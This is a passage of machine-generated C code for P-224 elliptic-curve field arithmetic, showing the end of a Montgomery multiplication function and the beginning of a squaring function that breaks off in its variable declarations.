(arg2[0])); fiat_p224_addcarryx_u32(&x22, &x23, 0x0, x21, x18); fiat_p224_addcarryx_u32(&x24, &x25, x23, x19, x16); fiat_p224_addcarryx_u32(&x26, &x27, x25, x17, x14); fiat_p224_addcarryx_u32(&x28, &x29, x27, x15, x12); fiat_p224_addcarryx_u32(&x30, &x31, x29, x13, x10); fiat_p224_addcarryx_u32(&x32, &x33, x31, x11, x8); x34 = (x33 + x9); fiat_p224_mulx_u32(&x35, &x36, x20, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x37, &x38, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x39, &x40, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x41, &x42, x35, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x43, &x44, x35, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x45, &x46, 0x0, x44, x41); fiat_p224_addcarryx_u32(&x47, &x48, x46, x42, x39); fiat_p224_addcarryx_u32(&x49, &x50, x48, x40, x37); x51 = (x50 + x38); fiat_p224_addcarryx_u32(&x52, &x53, 0x0, x20, x35); fiat_p224_addcarryx_u32(&x54, &x55, x53, x22, 0x0); fiat_p224_addcarryx_u32(&x56, &x57, x55, x24, 0x0); fiat_p224_addcarryx_u32(&x58, &x59, x57, x26, x43); fiat_p224_addcarryx_u32(&x60, &x61, x59, x28, x45); fiat_p224_addcarryx_u32(&x62, &x63, x61, x30, x47); fiat_p224_addcarryx_u32(&x64, &x65, x63, x32, x49); fiat_p224_addcarryx_u32(&x66, &x67, x65, x34, x51); fiat_p224_mulx_u32(&x68, &x69, x1, (arg2[6])); fiat_p224_mulx_u32(&x70, &x71, x1, (arg2[5])); fiat_p224_mulx_u32(&x72, &x73, x1, (arg2[4])); fiat_p224_mulx_u32(&x74, &x75, x1, (arg2[3])); fiat_p224_mulx_u32(&x76, &x77, x1, (arg2[2])); fiat_p224_mulx_u32(&x78, &x79, x1, (arg2[1])); fiat_p224_mulx_u32(&x80, &x81, x1, (arg2[0])); fiat_p224_addcarryx_u32(&x82, &x83, 0x0, x81, x78); fiat_p224_addcarryx_u32(&x84, &x85, x83, x79, x76); fiat_p224_addcarryx_u32(&x86, &x87, x85, x77, x74); fiat_p224_addcarryx_u32(&x88, &x89, x87, x75, x72); fiat_p224_addcarryx_u32(&x90, &x91, x89, x73, x70); fiat_p224_addcarryx_u32(&x92, &x93, x91, x71, x68); x94 = (x93 + x69); fiat_p224_addcarryx_u32(&x95, &x96, 0x0, x54, x80); fiat_p224_addcarryx_u32(&x97, &x98, x96, x56, x82); fiat_p224_addcarryx_u32(&x99, &x100, x98, x58, x84); fiat_p224_addcarryx_u32(&x101, &x102, x100, x60, x86); fiat_p224_addcarryx_u32(&x103, &x104, x102, x62, x88); fiat_p224_addcarryx_u32(&x105, &x106, x104, x64, x90); fiat_p224_addcarryx_u32(&x107, &x108, x106, x66, x92); fiat_p224_addcarryx_u32(&x109, &x110, x108, x67, x94); fiat_p224_mulx_u32(&x111, &x112, x95, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x113, &x114, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x115, &x116, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x117, &x118, x111, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x119, &x120, x111, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x121, &x122, 0x0, x120, x117); fiat_p224_addcarryx_u32(&x123, &x124, x122, x118, x115); fiat_p224_addcarryx_u32(&x125, &x126, x124, x116, x113); x127 = (x126 + x114); fiat_p224_addcarryx_u32(&x128, &x129, 0x0, x95, x111); fiat_p224_addcarryx_u32(&x130, &x131, x129, x97, 0x0); fiat_p224_addcarryx_u32(&x132, &x133, x131, x99, 0x0); fiat_p224_addcarryx_u32(&x134, &x135, x133, x101, x119); fiat_p224_addcarryx_u32(&x136, &x137, x135, x103, x121); fiat_p224_addcarryx_u32(&x138, &x139, x137, x105, x123); fiat_p224_addcarryx_u32(&x140, &x141, x139, x107, x125); fiat_p224_addcarryx_u32(&x142, &x143, x141, x109, x127); x144 = ((uint32_t)x143 + x110); fiat_p224_mulx_u32(&x145, &x146, x2, (arg2[6])); fiat_p224_mulx_u32(&x147, &x148, x2, (arg2[5])); fiat_p224_mulx_u32(&x149, &x150, x2, (arg2[4])); fiat_p224_mulx_u32(&x151, &x152, x2, (arg2[3])); fiat_p224_mulx_u32(&x153, &x154, x2, (arg2[2])); fiat_p224_mulx_u32(&x155, &x156, x2, (arg2[1])); fiat_p224_mulx_u32(&x157, &x158, x2, (arg2[0])); fiat_p224_addcarryx_u32(&x159, &x160, 0x0, x158, x155); fiat_p224_addcarryx_u32(&x161, &x162, x160, x156, x153); fiat_p224_addcarryx_u32(&x163, &x164, x162, x154, x151); fiat_p224_addcarryx_u32(&x165, &x166, x164, x152, x149); fiat_p224_addcarryx_u32(&x167, &x168, x166, x150, x147); fiat_p224_addcarryx_u32(&x169, &x170, x168, x148, x145); x171 = (x170 + x146); fiat_p224_addcarryx_u32(&x172, &x173, 0x0, x130, x157); fiat_p224_addcarryx_u32(&x174, &x175, x173, x132, x159); fiat_p224_addcarryx_u32(&x176, &x177, x175, x134, x161); fiat_p224_addcarryx_u32(&x178, &x179, x177, x136, x163); fiat_p224_addcarryx_u32(&x180, &x181, x179, x138, x165); fiat_p224_addcarryx_u32(&x182, &x183, x181, x140, x167); fiat_p224_addcarryx_u32(&x184, &x185, x183, x142, x169); fiat_p224_addcarryx_u32(&x186, &x187, x185, x144, x171); fiat_p224_mulx_u32(&x188, &x189, x172, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x190, &x191, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x192, &x193, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x194, &x195, x188, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x196, &x197, x188, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x198, &x199, 0x0, x197, x194); fiat_p224_addcarryx_u32(&x200, &x201, x199, x195, x192); fiat_p224_addcarryx_u32(&x202, &x203, x201, x193, x190); x204 = (x203 + x191); fiat_p224_addcarryx_u32(&x205, &x206, 0x0, x172, x188); fiat_p224_addcarryx_u32(&x207, &x208, x206, x174, 0x0); fiat_p224_addcarryx_u32(&x209, &x210, x208, x176, 0x0); fiat_p224_addcarryx_u32(&x211, &x212, x210, x178, x196); fiat_p224_addcarryx_u32(&x213, &x214, x212, x180, x198); fiat_p224_addcarryx_u32(&x215, &x216, x214, x182, x200); fiat_p224_addcarryx_u32(&x217, &x218, x216, x184, x202); fiat_p224_addcarryx_u32(&x219, &x220, x218, x186, x204); x221 = ((uint32_t)x220 + x187); fiat_p224_mulx_u32(&x222, &x223, x3, (arg2[6])); fiat_p224_mulx_u32(&x224, &x225, x3, (arg2[5])); fiat_p224_mulx_u32(&x226, &x227, x3, (arg2[4])); fiat_p224_mulx_u32(&x228, &x229, x3, (arg2[3])); fiat_p224_mulx_u32(&x230, &x231, x3, (arg2[2])); fiat_p224_mulx_u32(&x232, &x233, x3, (arg2[1])); fiat_p224_mulx_u32(&x234, &x235, x3, (arg2[0])); fiat_p224_addcarryx_u32(&x236, &x237, 0x0, x235, x232); fiat_p224_addcarryx_u32(&x238, &x239, x237, x233, x230); fiat_p224_addcarryx_u32(&x240, &x241, x239, x231, x228); fiat_p224_addcarryx_u32(&x242, &x243, x241, x229, x226); fiat_p224_addcarryx_u32(&x244, &x245, x243, x227, x224); fiat_p224_addcarryx_u32(&x246, &x247, x245, x225, x222); x248 = (x247 + x223); fiat_p224_addcarryx_u32(&x249, &x250, 0x0, x207, x234); fiat_p224_addcarryx_u32(&x251, &x252, x250, x209, x236); fiat_p224_addcarryx_u32(&x253, &x254, x252, x211, x238); fiat_p224_addcarryx_u32(&x255, &x256, x254, x213, x240); fiat_p224_addcarryx_u32(&x257, &x258, x256, x215, x242); fiat_p224_addcarryx_u32(&x259, &x260, x258, x217, x244); fiat_p224_addcarryx_u32(&x261, &x262, x260, x219, x246); fiat_p224_addcarryx_u32(&x263, &x264, x262, x221, x248); fiat_p224_mulx_u32(&x265, &x266, x249, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x267, &x268, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x269, &x270, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x271, &x272, x265, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x273, &x274, x265, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x275, &x276, 0x0, x274, x271); fiat_p224_addcarryx_u32(&x277, &x278, x276, x272, x269); fiat_p224_addcarryx_u32(&x279, &x280, x278, x270, x267); x281 = (x280 + x268); fiat_p224_addcarryx_u32(&x282, &x283, 0x0, x249, x265); fiat_p224_addcarryx_u32(&x284, &x285, x283, x251, 0x0); fiat_p224_addcarryx_u32(&x286, &x287, x285, x253, 0x0); fiat_p224_addcarryx_u32(&x288, &x289, x287, x255, x273); fiat_p224_addcarryx_u32(&x290, &x291, x289, x257, x275); fiat_p224_addcarryx_u32(&x292, &x293, x291, x259, x277); fiat_p224_addcarryx_u32(&x294, &x295, x293, x261, x279); fiat_p224_addcarryx_u32(&x296, &x297, x295, x263, x281); x298 = ((uint32_t)x297 + x264); fiat_p224_mulx_u32(&x299, &x300, x4, (arg2[6])); fiat_p224_mulx_u32(&x301, &x302, x4, (arg2[5])); fiat_p224_mulx_u32(&x303, &x304, x4, (arg2[4])); fiat_p224_mulx_u32(&x305, &x306, x4, (arg2[3])); fiat_p224_mulx_u32(&x307, &x308, x4, (arg2[2])); fiat_p224_mulx_u32(&x309, &x310, x4, (arg2[1])); fiat_p224_mulx_u32(&x311, &x312, x4, (arg2[0])); fiat_p224_addcarryx_u32(&x313, &x314, 0x0, x312, x309); fiat_p224_addcarryx_u32(&x315, &x316, x314, x310, x307); fiat_p224_addcarryx_u32(&x317, &x318, x316, x308, x305); fiat_p224_addcarryx_u32(&x319, &x320, x318, x306, x303); fiat_p224_addcarryx_u32(&x321, &x322, x320, x304, x301); fiat_p224_addcarryx_u32(&x323, &x324, x322, x302, x299); x325 = (x324 + x300); fiat_p224_addcarryx_u32(&x326, &x327, 0x0, x284, x311); fiat_p224_addcarryx_u32(&x328, &x329, x327, x286, x313); fiat_p224_addcarryx_u32(&x330, &x331, x329, x288, x315); fiat_p224_addcarryx_u32(&x332, &x333, x331, x290, x317); fiat_p224_addcarryx_u32(&x334, &x335, x333, x292, x319); fiat_p224_addcarryx_u32(&x336, &x337, x335, x294, x321); fiat_p224_addcarryx_u32(&x338, &x339, x337, x296, x323); fiat_p224_addcarryx_u32(&x340, &x341, x339, x298, x325); fiat_p224_mulx_u32(&x342, &x343, x326, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x344, &x345, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x346, &x347, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x348, &x349, x342, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x350, &x351, x342, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x352, &x353, 0x0, x351, x348); fiat_p224_addcarryx_u32(&x354, &x355, x353, x349, x346); fiat_p224_addcarryx_u32(&x356, &x357, x355, x347, x344); x358 = (x357 + x345); fiat_p224_addcarryx_u32(&x359, &x360, 0x0, x326, x342); fiat_p224_addcarryx_u32(&x361, &x362, x360, x328, 0x0); fiat_p224_addcarryx_u32(&x363, &x364, x362, x330, 0x0); fiat_p224_addcarryx_u32(&x365, &x366, x364, x332, x350); fiat_p224_addcarryx_u32(&x367, &x368, x366, x334, x352); fiat_p224_addcarryx_u32(&x369, &x370, x368, x336, x354); fiat_p224_addcarryx_u32(&x371, &x372, x370, x338, x356); fiat_p224_addcarryx_u32(&x373, &x374, x372, x340, x358); x375 = ((uint32_t)x374 + x341); fiat_p224_mulx_u32(&x376, &x377, x5, (arg2[6])); fiat_p224_mulx_u32(&x378, &x379, x5, (arg2[5])); fiat_p224_mulx_u32(&x380, &x381, x5, (arg2[4])); fiat_p224_mulx_u32(&x382, &x383, x5, (arg2[3])); fiat_p224_mulx_u32(&x384, &x385, x5, (arg2[2])); fiat_p224_mulx_u32(&x386, &x387, x5, (arg2[1])); fiat_p224_mulx_u32(&x388, &x389, x5, (arg2[0])); fiat_p224_addcarryx_u32(&x390, &x391, 0x0, x389, x386); fiat_p224_addcarryx_u32(&x392, &x393, x391, x387, x384); fiat_p224_addcarryx_u32(&x394, &x395, x393, x385, x382); fiat_p224_addcarryx_u32(&x396, &x397, x395, x383, x380); fiat_p224_addcarryx_u32(&x398, &x399, x397, x381, x378); fiat_p224_addcarryx_u32(&x400, &x401, x399, x379, x376); x402 = (x401 + x377); fiat_p224_addcarryx_u32(&x403, &x404, 0x0, x361, x388); fiat_p224_addcarryx_u32(&x405, &x406, x404, x363, x390); fiat_p224_addcarryx_u32(&x407, &x408, x406, x365, x392); fiat_p224_addcarryx_u32(&x409, &x410, x408, x367, x394); fiat_p224_addcarryx_u32(&x411, &x412, x410, x369, x396); fiat_p224_addcarryx_u32(&x413, &x414, x412, x371, x398); fiat_p224_addcarryx_u32(&x415, &x416, x414, x373, x400); fiat_p224_addcarryx_u32(&x417, &x418, x416, x375, x402); fiat_p224_mulx_u32(&x419, &x420, x403, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x421, &x422, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x423, &x424, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x425, &x426, x419, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x427, &x428, x419, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x429, &x430, 0x0, x428, x425); fiat_p224_addcarryx_u32(&x431, &x432, x430, x426, x423); fiat_p224_addcarryx_u32(&x433, &x434, x432, x424, x421); x435 = (x434 + x422); fiat_p224_addcarryx_u32(&x436, &x437, 0x0, x403, x419); fiat_p224_addcarryx_u32(&x438, &x439, x437, x405, 0x0); fiat_p224_addcarryx_u32(&x440, &x441, x439, x407, 0x0); fiat_p224_addcarryx_u32(&x442, &x443, x441, x409, x427); fiat_p224_addcarryx_u32(&x444, &x445, x443, x411, x429); fiat_p224_addcarryx_u32(&x446, &x447, x445, x413, x431); fiat_p224_addcarryx_u32(&x448, &x449, x447, x415, x433); fiat_p224_addcarryx_u32(&x450, &x451, x449, x417, x435); x452 = ((uint32_t)x451 + x418); fiat_p224_mulx_u32(&x453, &x454, x6, (arg2[6])); fiat_p224_mulx_u32(&x455, &x456, x6, (arg2[5])); fiat_p224_mulx_u32(&x457, &x458, x6, (arg2[4])); fiat_p224_mulx_u32(&x459, &x460, x6, (arg2[3])); fiat_p224_mulx_u32(&x461, &x462, x6, (arg2[2])); fiat_p224_mulx_u32(&x463, &x464, x6, (arg2[1])); fiat_p224_mulx_u32(&x465, &x466, x6, (arg2[0])); fiat_p224_addcarryx_u32(&x467, &x468, 0x0, x466, x463); fiat_p224_addcarryx_u32(&x469, &x470, x468, x464, x461); fiat_p224_addcarryx_u32(&x471, &x472, x470, x462, x459); fiat_p224_addcarryx_u32(&x473, &x474, x472, x460, x457); fiat_p224_addcarryx_u32(&x475, &x476, x474, x458, x455); fiat_p224_addcarryx_u32(&x477, &x478, x476, x456, x453); x479 = (x478 + x454); fiat_p224_addcarryx_u32(&x480, &x481, 0x0, x438, x465); fiat_p224_addcarryx_u32(&x482, &x483, x481, x440, x467); fiat_p224_addcarryx_u32(&x484, &x485, x483, x442, x469); fiat_p224_addcarryx_u32(&x486, &x487, x485, x444, x471); fiat_p224_addcarryx_u32(&x488, &x489, x487, x446, x473); fiat_p224_addcarryx_u32(&x490, &x491, x489, x448, x475); fiat_p224_addcarryx_u32(&x492, &x493, x491, x450, x477); fiat_p224_addcarryx_u32(&x494, &x495, x493, x452, x479); fiat_p224_mulx_u32(&x496, &x497, x480, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x498, &x499, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x500, &x501, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x502, &x503, x496, UINT32_C(0xffffffff)); fiat_p224_mulx_u32(&x504, &x505, x496, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x506, &x507, 0x0, x505, x502); fiat_p224_addcarryx_u32(&x508, &x509, x507, x503, x500); fiat_p224_addcarryx_u32(&x510, &x511, x509, x501, x498); x512 = (x511 + x499); fiat_p224_addcarryx_u32(&x513, &x514, 0x0, x480, x496); fiat_p224_addcarryx_u32(&x515, &x516, x514, x482, 0x0); fiat_p224_addcarryx_u32(&x517, &x518, x516, x484, 0x0); fiat_p224_addcarryx_u32(&x519, &x520, x518, x486, x504); fiat_p224_addcarryx_u32(&x521, &x522, x520, x488, x506); fiat_p224_addcarryx_u32(&x523, &x524, x522, x490, x508); fiat_p224_addcarryx_u32(&x525, &x526, x524, x492, x510); fiat_p224_addcarryx_u32(&x527, &x528, x526, x494, x512); x529 = ((uint32_t)x528 + x495); fiat_p224_subborrowx_u32(&x530, &x531, 0x0, x515, 0x1); fiat_p224_subborrowx_u32(&x532, &x533, x531, x517, 0x0); fiat_p224_subborrowx_u32(&x534, &x535, x533, x519, 0x0); fiat_p224_subborrowx_u32(&x536, &x537, x535, x521, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x538, &x539, x537, x523, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x540, &x541, x539, x525, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x542, &x543, x541, x527, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x544, &x545, x543, x529, 0x0); fiat_p224_cmovznz_u32(&x546, x545, x530, x515); fiat_p224_cmovznz_u32(&x547, x545, x532, x517); fiat_p224_cmovznz_u32(&x548, x545, x534, x519); fiat_p224_cmovznz_u32(&x549, x545, x536, x521); fiat_p224_cmovznz_u32(&x550, x545, x538, x523); fiat_p224_cmovznz_u32(&x551, x545, x540, x525); fiat_p224_cmovznz_u32(&x552, x545, x542, x527); out1[0] = x546; out1[1] = x547; out1[2] = x548; out1[3] = x549; out1[4] = x550; out1[5] = x551; out1[6] = x552; } /* * The function fiat_p224_square squares a field element in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg1)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_square(uint32_t out1[7], const uint32_t arg1[7]) { uint32_t x1; uint32_t x2; uint32_t x3; uint32_t x4; uint32_t x5; uint32_t x6; uint32_t x7; uint32_t x8; uint32_t x9; uint32_t x10; uint32_t x11; uint32_t x12; uint32_t x13; uint32_t x14; uint32_t x15; uint32_t x16; uint32_t x17; uint32_t x18; uint32_t x19; uint32_t x20; uint32_t x21; uint32_t x22; fiat_p224_uint1 x23; uint32_t x24; fiat_p224_uint1 x25; uint32_t x26; fiat_p224_uint1 x27; uint32_t x28; fiat_p224_uint1 x29; uint32_t x30; fiat_p224_uint1 x31; uint32_t x32; fiat_p224_uint1 x33; uint32_t x34; uint32_t x35; uint32_t x36; uint32_t x37; uint32_t x38; uint32_t x39; uint32_t x40; uint32_t x41; uint32_t x42; uint32_t x43; uint32_t x44; uint32_t x45; fiat_p224_uint1 x46; uint32_t x47; fiat_p224_uint1 x48; uint32_t x49; fiat_p224_uint1 x50; uint32_t x51; uint32_t x52; fiat_p224_uint1 x53; uint32_t x54; fiat_p224_uint1 x55; uint32_t x56; fiat_p224_uint1 x57; uint32_t x58; fiat_p224_uint1 x59; uint32_t x60; fiat_p224_uint1 x61; uint32_t x62; fiat_p224_uint1 x63; uint32_t x64; fiat_p224_uint1 x65; uint32_t x66; fiat_p224_uint1 x67; uint32_t x68; uint32_t x69; uint32_t x70; uint32_t x71; uint32_t x72; uint32_t x73; uint32_t x74; uint32_t x75; uint32_t x76; uint32_t x77; uint32_t x78; uint32_t x79; uint32_t x80; uint32_t x81; uint32_t x82; fiat_p224_uint1 x83; uint32_t x84; fiat_p224_uint1 x85; uint32_t x86; fiat_p224_uint1 x87; uint32_t x88; fiat_p224_uint1 x89; uint32_t x90; fiat_p224_uint1 x91; uint32_t x92; fiat_p224_uint1 x93; uint32_t x94; uint32_t x95; fiat_p224_uint1 x96; uint32_t x97; fiat_p224_uint1 x98; uint32_t x99; fiat_p224_uint1 x100; uint32_t x101; fiat_p224_uint1 x102; uint32_t x103; fiat_p224_uint1 x104; uint32_t x105; fiat_p224_uint1 x106; uint32_t x107; fiat_p224_uint1 x108; uint32_t x109; fiat_p224_uint1 x110; uint32_t x111; uint32_t x112; uint32_t x113; uint32_t x114; uint32_t x115; uint32_t x116; uint32_t x117; uint32_t x118; uint32_t x119; uint32_t x120; uint32_t x121; fiat_p224_uint1 x122; uint32_t x123; fiat_p224_uint1 x124; uint32_t x125; fiat_p224_uint1 x126; uint32_t x127; uint32_t x128; fiat_p224_uint1 x129; uint32_t x130; fiat_p224_uint1 x131; uint32_t x132; fiat_p224_uint1 x133; uint32_t x134; fiat_p224_uint1 x135; uint32_t x136; fiat_p224_uint1 x137; uint32_t x138; fiat_p224_uint1 x139; uint32_t x140; fiat_p224_uint1 x141; uint32_t x142; fiat_p224_uint1 x143; uint32_t x144; uint32_t x145; uint32_t x146; uint32_t x147; uint32_t x148; uint32_t x149; uint32_t x150; uint32_t x151; uint32_t x152; uint32_t x153; uint32_t x154; uint32_t x155; uint32_t x156; uint32_t x157; uint32_t x158; uint32_t x159; fiat_p224_uint1 x160; uint32_t x161; fiat_p224_uint1 x162; uint32_t x163; fiat_p224_uint1 x164; uint32_t x165; fiat_p224_uint1 x166; uint32_t x167; fiat_p224_uint1 x168; uint32_t x169; fiat_p224_uint1 x170; uint32_t x171; uint32_t x172; fiat_p224_uint1 x173; uint32_t x174; fiat_p224_uint1 x175; uint32_t x176; fiat_p224_uint1 x177; uint32_t x178; fiat_p224_uint1 x179; uint32_t x180; fiat_p224_uint1 x181; uint32_t x182; fiat_p224_uint1 x183; uint32_t x184; fiat_p224_uint1 x185; uint32_t x186; fiat_p224_uint1 x187; uint32_t x188; uint32_t x189; uint32_t x190; uint32_t x191; uint32_t x192; uint32_t x193; uint32_t x194; uint32_t x195; uint32_t x196; uint32_t x197; uint32_t x198; fiat_p224_uint1 x199; uint32_t x200; fiat_p224_uint1 x201; uint32_t x202; fiat_p224_uint1 x203; uint32_t x204; uint32_t x205; fiat_p224_uint1 x206; uint32_t x207; fiat_p224_uint1 x208; uint32_t x209; fiat_p224_uint1 x210; uint32_t x211; fiat_p224_uint1 x212; uint32_t x213; fiat_p224_uint1 x214; uint32_t x215; fiat_p224_uint1 x216; uint32_t x217; fiat_p224_uint1 x218; uint32_t x219; fiat_p224_uint1 x220; uint32_t x221; uint32_t x222; uint32_t x223; uint32_t x224; uint32_t x225; uint32_t x226; uint32_t x227; uint32_t x228; uint32_t x229; uint32_t x230; uint32_t x231; uint32_t x232; uint32_t x233; uint32_t x234; uint32_t x235; uint32_t x236; fiat_p224_uint1 x237; uint32_t x238; fiat_p224_uint1 x239; uint32_t x240; fiat_p224_uint1 x241; uint32_t x242; fiat_p224_uint1 x243; uint32_t x244; fiat_p224_uint1 x245; uint32_t x246; fiat_p224_uint1 x247; uint32_t x248; uint32_t x249; fiat_p224_uint1 x250; uint32_t x251; fiat_p224_uint1 x252; uint32_t x253; fiat_p224_uint1 x254; uint32_t x255; fiat_p224_uint1 x256; uint32_t x257; fiat_p224_uint1 x258; uint32_t x259; fiat_p224_uint1 x260; uint32_t x261; fiat_p224_uint1 x262; uint32_t x263; fiat_p224_uint1 x264; uint32_t x265; uint32_t x266; uint32_t x267; uint32_t x268; uint32_t x269; uint32_t x270; uint32_t x271; uint32_t x272; uint32_t x273; uint32_t x274; uint32_t x275; fiat_p224_uint1 x276; uint32_t x277; fiat_p224_uint1 x278; uint32_t x279; fiat_p224_uint1 x280; uint32_t x281; uint32_t x282; fiat_p224_uint1 x283; uint32_t x284; fiat_p224_uint1 x285; uint32_t x286; fiat_p224_uint1 x287; uint32_t x288; fiat_p224_uint1 x289; uint32_t x290; fiat_p224_uint1 x291; uint32_t x292; fiat_p224_uint1 x293; uint32_t x294; fiat_p224_uint1 x295; uint32_t x296; fiat_p224_uint1 x297; uint32_t x298; uint32_t x299; uint32_t x300; uint32_t x301; uint32_t x302; uint32_t x303; uint32_t x304; uint32_t x305; uint32_t x306; uint32_t x307; uint32_t x308; uint32_t x309; uint32_t x310; uint32_t x311; uint32_t x312; uint32_t x313; fiat_p224_uint1 x314; uint32_t x315; fiat_p224_uint1 x316; uint32_t x317; fiat_p224_uint1 x318; uint32_t x319; fiat_p224_uint1 x320; uint32_t x321; fiat_p224_uint1 x322; uint32_t x323; fiat_p224_uint1 x324; uint32_t x325; uint32_t x326; fiat_p224_uint1 x327; uint32_t x328; fiat_p224_uint1 x329; uint32_t x330; fiat_p224_uint1 x331; uint32_t x332; fiat_p224_uint1 x333; uint32_t x334; fiat_p224_uint1 x335; uint32_t x336; fiat_p224_uint1 x337; uint32_t x338; fiat_p224_uint1 x339; uint32_t x340; fiat_p224_uint1 x341; uint32_t x342; uint32_t x343; uint32_t x344; uint32_t x345; uint32_t x346; uint32_t x347; uint32_t x348; uint32_t x349; uint32_t x350; uint32_t x351; uint32_t x352; fiat_p224_uint1 x353; uint32_t x354; fiat_p224_uint1 x355; uint32_t x356; fiat_p224_uint1 x357; uint32_t x358; uint32_t x359; fiat_p224_uint1 x360; uint32_t x361; fiat_p224_uint1 x362; uint32_t x363; fiat_p224_uint1 x364; uint32_t x365; fiat_p224_uint1 x366; uint32_t x367; fiat_p224_uint1 x368; uint32_t x369; fiat_p224_uint1 x370; uint32_t x371; fiat_p224_uint1 x372; uint32_t x373; fiat_p224_uint1 x374; uint32_t x375; uint32_t x376; uint32_t x377; uint32_t x378; uint32_t x379; uint32_t x380; uint32_t x381; uint32_t x382; uint32_t x383; uint32_t x384; uint32_t x385; uint32_t x386; uint32_t x387; uint32_t x388; uint32_t x389; uint32_t x390; fiat_p224_uint1 x391; uint32_t x392; fiat_p224_uint1 x393; uint32_t x394; fiat_p224_uint1 x395; uint32_t x396; fiat_p224_uint1 x397; uint32_t x398; fiat_p224_uint1 x399; uint32_t x400; fiat_p224_uint1 x401; uint32_t x402; uint32_t x403; fiat_p224_uint1 x404; uint32_t x405; fiat_p224_uint1 x406; uint32_t x407; fiat_p224_uint1 x408; uint32_t x409; fiat_p224_uint1 x410; uint32_t x411; fiat_p224_uint1 x412; uint32_t x413; fiat_p224_uint1 x414; uint32_t x415; fiat_p224_uint1 x416; uint32_t x417; fiat_p224_uint1 x418; uint32_t x419; uint32_t x420; uint32_t x421; uint32_t x422; uint32_t x423; uint32_t x424; uint32_t x425; uint32_t x426; uint32_t x427; uint32_t x428; uint32_t x429; fiat_p224_uint1 x430; uint32_t x431; fiat_p224_uint1 x432; uint32_t x433; fiat_p224_uint1 x434; uint32_t x435; uint32_t x436; fiat_p224_uint1 x437; uint32_t x438; fiat_p224_uint1 x439; uint32_t x440; fiat_p224_uint1 x441; uint32_t x442; fiat_p224_uint1 x443; uint32_t x444; fiat_p224_uint1 x445; uint32_t x446; fiat_p224_uint1 x447; uint32_t x448; fiat_p224_uint1 x449; uint32_t x450; fiat_p224_uint1 x451; uint32_t x452; uint32_t x453; uint32_t x454; uint32_t x455; uint32_t x456; uint32_t x457; uint32_t x458; uint32_t x459; uint32_t x460; uint32_t x461; uint32_t x462; uint32_t x463; uint32_t x464; uint32_t x465; uint32_t x466; uint32_t x467; fiat_p224_uint1 x468; uint32_t x469; fiat_p224_uint1 x470; uint32_t x471; fiat_p224_uint1 x472; uint32_t x473; fiat_p224_uint1 x474; uint32_t x475; fiat_p224_uint1 x476; uint32_t x477; fiat_p224_uint1 x478; uint32_t x479; uint32_t x480; fiat_p224_uint1 x481; uint32_t x482; fiat_p224_uint1 x483; uint32_t x484; fiat_p224_uint1 x485; uint32_t x486; fiat_p224_uint1 x487; uint32_t x488; fiat_p224_uint1 x489; uint32_t x490; fiat_p224_uint1 x491; uint32_t x492; fiat_p224_uint1 x493; uint32_t x494; fiat_p224_uint1 x495; uint32_t x496; uint32_t x497; uint32_t x498; uint32_t x499; uint32_t x500; uint32_t x501; uint32_t x502; uint32_t x503; uint32_t x504; uint32_t x505; uint32_t x506; fiat_p224_uint1 x507; uint32_t x508; fiat_p224_uint1 x509; uint32_t x510; fiat_p224_uint1 x511; uint32_t x512; uint32_t x513; fiat_p224_uint1 x514; uint32_t x515; fiat_p224_uint1 x516; uint32_t x517; fiat_p224_uint1 x518; uint32_t x519; fiat_p224_uint1 x520; uint32_t x521; fiat_p224_uint1 x522; uint32_t x523; fiat_p224_uint1 x524; uint32_t x525; fiat_p224_uint1 x526; uint32_t x527; fiat_p224_uint1 x528; uint32_t x529; uint32_t x530; fiat_p224_uint1 x531; uint32_t x532; fiat_p224_uint1 x533; uint32_t x534; fiat_p224_uint1 x535; uint32_t x536; fiat_p224_uint1 x537; uint32_t 